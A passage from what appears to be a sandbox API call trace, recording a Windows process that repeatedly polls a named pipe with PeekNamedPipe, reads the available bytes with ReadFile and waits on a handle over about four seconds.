lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x1a, lpOverlapped=0x0) returned 1 [0062.243] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.418] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.418] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.642] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.643] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.695] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0062.695] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0062.695] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.725] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0062.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.797] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x45, lpBytesLeftThisMessage=0x0) returned 1 [0062.797] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x45, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x45, lpOverlapped=0x0) returned 1 [0062.797] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0062.821] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0062.821] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0062.821] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.001] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x3f, lpBytesLeftThisMessage=0x0) returned 1 [0063.002] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x3f, lpOverlapped=0x0) returned 1 [0063.002] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.040] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0063.040] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0063.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.106] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x40, lpBytesLeftThisMessage=0x0) returned 1 [0063.106] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x40, lpOverlapped=0x0) returned 1 [0063.106] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.327] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0063.328] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0063.328] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.362] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x3a, lpBytesLeftThisMessage=0x0) returned 1 [0063.363] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x3a, lpOverlapped=0x0) returned 1 [0063.363] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.421] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.421] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.473] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.507] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0063.507] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0063.508] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.571] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x3a, lpBytesLeftThisMessage=0x0) returned 1 [0063.571] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x3a, lpOverlapped=0x0) returned 1 [0063.572] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.845] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.845] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.899] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x5b, lpBytesLeftThisMessage=0x0) returned 1 [0063.899] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x5b, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x5b, lpOverlapped=0x0) returned 1 [0063.899] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0063.934] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0063.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.111] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9c, lpBytesLeftThisMessage=0x0) returned 1 [0064.111] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9c, lpOverlapped=0x0) returned 1 [0064.111] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.150] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.183] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa4, lpBytesLeftThisMessage=0x0) returned 1 [0064.183] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa4, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa4, lpOverlapped=0x0) returned 1 [0064.183] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.218] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.218] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.288] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0064.288] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa0, lpOverlapped=0x0) returned 1 [0064.288] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.406] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0064.406] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa3, lpOverlapped=0x0) returned 1 [0064.406] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.449] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.449] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.617] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9f, lpBytesLeftThisMessage=0x0) returned 1 [0064.617] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9f, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9f, lpOverlapped=0x0) returned 1 [0064.617] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.662] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.701] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa1, lpBytesLeftThisMessage=0x0) returned 1 [0064.701] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa1, lpOverlapped=0x0) returned 1 [0064.701] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.739] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.897] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0064.897] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa3, lpOverlapped=0x0) returned 1 [0064.897] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0064.935] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0064.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.004] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa5, lpBytesLeftThisMessage=0x0) returned 1 [0065.005] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa5, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa5, lpOverlapped=0x0) returned 1 [0065.005] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.112] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9e, lpBytesLeftThisMessage=0x0) returned 1 [0065.112] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9e, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9e, lpOverlapped=0x0) returned 1 [0065.112] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.150] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.150] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.171] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0065.171] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0065.171] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.237] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x47, lpBytesLeftThisMessage=0x0) returned 1 [0065.237] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x47, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x47, lpOverlapped=0x0) returned 1 [0065.237] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.380] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xac, lpBytesLeftThisMessage=0x0) returned 1 [0065.380] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xac, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xac, lpOverlapped=0x0) returned 1 [0065.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.498] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.498] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.529] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0065.529] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x62, lpOverlapped=0x0) returned 1 [0065.529] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.584] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x38, lpBytesLeftThisMessage=0x0) returned 1 [0065.584] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x38, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x38, lpOverlapped=0x0) returned 1 [0065.584] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.622] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0065.623] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0x9d, lpOverlapped=0x0) returned 1 [0065.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.655] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.655] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.724] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xab, lpBytesLeftThisMessage=0x0) returned 1 [0065.724] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xab, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xab, lpOverlapped=0x0) returned 1 [0065.724] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.759] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xab, lpBytesLeftThisMessage=0x0) returned 1 [0065.759] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xab, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xab, lpOverlapped=0x0) returned 1 [0065.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.816] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.816] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.859] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa3, lpBytesLeftThisMessage=0x0) returned 1 [0065.859] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa3, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa3, lpOverlapped=0x0) returned 1 [0065.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.893] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0065.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.935] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18f110*=0xa1, lpBytesLeftThisMessage=0x0) returned 1 [0065.935] ReadFile (in: hFile=0xc4, lpBuffer=0x18f390, nNumberOfBytesToRead=0xa1, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x18f390*, lpNumberOfBytesRead=0x18f12c*=0xa1, lpOverlapped=0x0) returned 1 [0065.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0065.969] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, 